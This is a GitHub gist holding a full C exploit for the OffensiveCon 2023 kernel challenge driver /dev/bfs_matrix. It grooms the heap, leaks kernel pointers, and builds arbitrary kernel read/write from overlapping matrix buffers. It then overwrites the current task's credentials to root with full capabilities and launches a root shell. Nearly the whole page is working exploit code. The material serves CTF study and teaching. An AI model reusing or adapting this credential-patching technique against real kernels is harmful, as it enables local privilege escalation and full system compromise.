Skip to content

Instantly share code, notes, and snippets.

@arget13
Last active August 18, 2023 16:20
Show Gist options
  • Save arget13/d4006af981356cdfb0316a722a0c90e3 to your computer and use it in GitHub Desktop.
Save arget13/d4006af981356cdfb0316a722a0c90e3 to your computer and use it in GitHub Desktop.
OffensiveCon 2023's kernel pwn chall's solution
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <err.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stddef.h>
#include <sys/prctl.h>
#define DEVICE_NAME "/dev/bfs_matrix"
#define MAX_MATRIX_NAME 16
#define IOCTL_MATRIX_SET_NAME _IOWR('s', 1, void*)
#define IOCTL_MATRIX_GET_NAME _IOWR('s', 2, void*)
#define IOCTL_MATRIX_GET_INFO _IOWR('s', 3, struct matrix_info)
#define IOCTL_MATRIX_SET_INFO _IOWR('s', 4, struct matrix_info)
#define IOCTL_MATRIX_GET_POS _IOWR('s', 5, struct matrix_pos)
#define IOCTL_MATRIX_SET_POS _IOWR('s', 6, struct matrix_pos)
#define IOCTL_MATRIX_DO_LINK _IOWR('s', 7, int)
struct matrix_info
{
int rows;
int cols;
};
struct matrix_pos
{
int row;
int col;
uint8_t byte;
};
// Undefine this if you don't want debug trazes
// #define DEBUG 1
#ifdef DEBUG
#define DBG_PRINT(...) do { fprintf(stderr, __VA_ARGS__); } while (0)
#else
#define DBG_PRINT(...) do { } while (0)
#endif
// ----------------------------------------------------------------------------
// Exploit primitives, you need to fill them!
uint64_t kread64(uint64_t addr);
void kwrite64(uint64_t addr, uint64_t value);
// ----------------------------------------------------------------------------
// Helper functions for the exploit
uint32_t kread32(uint64_t addr)
{
return kread64(addr);
}
void kwrite32(uint64_t addr, uint32_t value)
{
uint32_t hi_dword = kread64(addr) >> 32;
kwrite64(addr, ((uint64_t) hi_dword << 32) | value);
}
// Given a task structure address, patches its credentials.
void patch_creds(uint64_t task_struct)
{
#define DELTA_CREDS 0x498
uint64_t task_creds = kread64(task_struct + DELTA_CREDS);
struct cred
{
uint32_t usage;
uint32_t uid; /* real UID of the task */
uint32_t gid; /* real GID of the task */
uint32_t suid; /* saved UID of the task */
uint32_t sgid; /* saved GID of the task */
uint32_t euid; /* effective UID of the task */
uint32_t egid; /* effective GID of the task */
uint32_t fsuid; /* UID for VFS ops */
uint32_t fsgid; /* GID for VFS ops */
uint32_t securebits; /* SUID-less security management */
uint64_t cap_inheritable; /* caps our children can inherit */
uint64_t cap_permitted; /* caps we're permitted */
uint64_t cap_effective; /* caps we can actually use */
uint64_t cap_bset; /* capability bounding set */
};
#define GLOBAL_ROOT_UID 0
#define GLOBAL_ROOT_GID 0
#define SECURE_BITS_DEFAULT 0
#define CAP_EMPTY_SET 0
#define CAP_FULL_SET -1
kwrite32(task_creds + offsetof(struct cred, uid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, gid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, suid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, sgid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, euid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, egid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, fsuid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, fsgid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, securebits), SECURE_BITS_DEFAULT);
kwrite64(task_creds + offsetof(struct cred, cap_inheritable), CAP_EMPTY_SET);
kwrite64(task_creds + offsetof(struct cred, cap_permitted), CAP_FULL_SET);
kwrite64(task_creds + offsetof(struct cred, cap_effective), CAP_FULL_SET);
kwrite64(task_creds + offsetof(struct cred, cap_bset), CAP_FULL_SET);
DBG_PRINT("[+] patched credentials %lx (task=%lx)\n", task_creds, task_struct);
}
// Receives the kernel base address and returns the task structure of the
// current task.
uint64_t lookup_current_task(uint64_t kbase)
{
char new_task_name[] = "bfs_findme";
if (prctl(PR_SET_NAME, new_task_name, 0, 0, 0) < 0)
errx(1, "couldn't set new task name");
#define DELTA_INIT_TASK 0xa26600
uint64_t init_task = kbase + DELTA_INIT_TASK;
#define DELTA_COMM 0x4a0
#define DELTA_TASKS 0x230
uint64_t current_task = init_task;
do
{
char task_name[17] = {0};
*(uint64_t*) &task_name[0] = kread64(current_task + DELTA_COMM);
*(uint64_t*) &task_name[8] = kread64(current_task + DELTA_COMM + 8);
printf("[*] %lx -> %s\n", current_task, task_name);
if (! strcmp(task_name, new_task_name))
return current_task;
current_task = kread64(current_task + DELTA_TASKS) - DELTA_TASKS;
} while (current_task != init_task);
errx(1, "couldn't find current task");
}
// ----------------------------------------------------------------------------
// Interface for interacting with the driver
void matrix_do_link(int fd, int link_fd)
{
if (ioctl(fd, IOCTL_MATRIX_DO_LINK, link_fd) < 0)
errx(1, "couldn't link matrix\n");
DBG_PRINT("[*] matrix linked\n");
}
uint8_t matrix_get_pos(int fd, int row, int col)
{
struct matrix_pos pos = {0};
pos.row = row;
pos.col = col;
if (ioctl(fd, IOCTL_MATRIX_GET_POS, &pos) < 0)
errx(1, "couldn't get matrix pos");
DBG_PRINT("[*] matrix pos: matrix[%04d][%04d]=%02x\n", row, col, pos.byte);
return pos.byte;
}
void matrix_set_pos(int fd, int row, int col, uint8_t value)
{
struct matrix_pos pos = {0};
pos.row = row;
pos.col = col;
pos.byte = value;
if (ioctl(fd, IOCTL_MATRIX_SET_POS, &pos) < 0)
errx(1, "couldn't set matrix pos");
DBG_PRINT("[*] updated matrix pos: matrix[%04d][%04d]=%02x\n", row, col, value);
}
struct matrix_info matrix_get_info(int fd)
{
struct matrix_info info = {0};
if (ioctl(fd, IOCTL_MATRIX_GET_INFO, &info) < 0)
errx(1, "couldn't get matrix info");
DBG_PRINT("[*] matrix info: rows=%d columns=%d\n", info.rows, info.cols);
return info;
}
void matrix_set_info(int fd, int rows, int cols)
{
struct matrix_info info = {0};
info.rows = rows;
info.cols = cols;
if (ioctl(fd, IOCTL_MATRIX_SET_INFO, &info) < 0)
errx(1, "couldn't set matrix info");
DBG_PRINT("[*] matrix info updated to: rows=%d columns=%d\n", rows, cols);
}
char* matrix_get_name(int fd)
{
char name[MAX_MATRIX_NAME+1] = {0};
if (ioctl(fd, IOCTL_MATRIX_GET_NAME, name) < 0)
errx(1, "couldn't get matrix name");
DBG_PRINT("[*] matrix name: %s\n", name);
return strdup(name);
}
void matrix_set_name(int fd, char* name)
{
if (ioctl(fd, IOCTL_MATRIX_SET_NAME, name) < 0)
errx(1, "couldn't set matrix name");
DBG_PRINT("[*] matrix name updated\n");
}
int matrix_new()
{
int fd = open(DEVICE_NAME, O_RDWR);
if (fd < 0)
errx(1, "couldn't open device");
DBG_PRINT("[*] new matrix fd: %d\n", fd);
return fd;
}
// ----------------------------------------------------------------------------
// Exploit begins here
int matrix1, matrix2, matrix3;
uint64_t leak_heap()
{
uint64_t val = 0;
// 8 * 9 = 72 = 64 + 8
for(int i = 0; i < sizeof(val) - 1; ++i)
val |= (uint64_t) matrix_get_pos(matrix1, i, 8) << (i * 8);
// 11 * 13 = 143 = 64 * 2 + 8 + 7
val |= (uint64_t) matrix_get_pos(matrix2, 0, 11) << 0x38;
return val;
}
void set_addr(uint64_t addr)
{
matrix_do_link(matrix3, matrix1);
// 8 * 9 = 72 = 64 + 8
matrix_set_pos(matrix3, 0, 8, (addr >> 0x00) & 0xff);
matrix_set_pos(matrix3, 1, 8, (addr >> 0x08) & 0xff);
matrix_set_pos(matrix3, 2, 8, (addr >> 0x10) & 0xff);
matrix_set_pos(matrix3, 3, 8, (addr >> 0x18) & 0xff);
matrix_set_pos(matrix3, 4, 8, (addr >> 0x20) & 0xff);
matrix_set_pos(matrix3, 5, 8, (addr >> 0x28) & 0xff);
matrix_set_pos(matrix3, 6, 8, (addr >> 0x30) & 0xff);
matrix_do_link(matrix3, matrix2);
// 11 * 13 = 143 = 64 * 2 + 8 + 7
matrix_set_pos(matrix3, 0, 11, (addr >> 0x38) & 0xff);
}
uint64_t kread64(uint64_t addr)
{
uint64_t val = 0;
set_addr(addr);
for(int i = 0; i < sizeof(val); ++i)
val |= (uint64_t) matrix_get_pos(matrix3, i, 0) << (i * 8);
return val;
}
void kwrite64(uint64_t addr, uint64_t value)
{
set_addr(addr);
matrix_do_link(matrix3, matrix1);
matrix_set_pos(matrix1, 0, 0, (value >> 0x00) & 0xff);
matrix_set_pos(matrix1, 1, 0, (value >> 0x08) & 0xff);
matrix_set_pos(matrix1, 2, 0, (value >> 0x10) & 0xff);
matrix_set_pos(matrix1, 3, 0, (value >> 0x18) & 0xff);
matrix_set_pos(matrix1, 4, 0, (value >> 0x20) & 0xff);
matrix_set_pos(matrix1, 5, 0, (value >> 0x28) & 0xff);
matrix_set_pos(matrix1, 6, 0, (value >> 0x30) & 0xff);
matrix_set_pos(matrix1, 7, 0, (value >> 0x38) & 0xff);
}
#define CHUNKSZ 64
#define COLS1 9
#define ROWS1 ((CHUNKSZ) / (COLS1))
#define COLS2 13
#define ROWS2 ((CHUNKSZ) / (COLS2))
int main(int argc, char* argv[argc + 1])
{
uint64_t heap_addr, task_struct;
for(int i = 0; i < 30; ++i)
fcntl(matrix_new(), F_SETFD, FD_CLOEXEC);
int aux1 = matrix_new(),
aux2 = matrix_new();
matrix3 = matrix_new();
matrix1 = matrix_new();
matrix2 = matrix_new();
// Get matrix1's buffer before matrix3's structure
// and matrix2's buffer before matrix1's buffer (64-byte chunks)
close(aux1);
close(aux2);
matrix_set_info(matrix1, ROWS1, COLS1);
matrix_set_info(matrix2, ROWS2, COLS2);
matrix_set_info(matrix3, 8, 8);
heap_addr = leak_heap();
printf("[+] heap_addr\t: %lx\n", heap_addr);
task_struct = kread64(heap_addr - CHUNKSZ + 40);
printf("[+] task_struct\t: %lx\n", task_struct);
patch_creds(task_struct);
// Prevent matrix_release() from writing a NULL somewhere problematic
// (through kfree() when freeing the data pointer)
set_addr(0);
close(matrix1); close(matrix2); close(matrix3);
execl("/bin/sh", "sh", NULL);
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment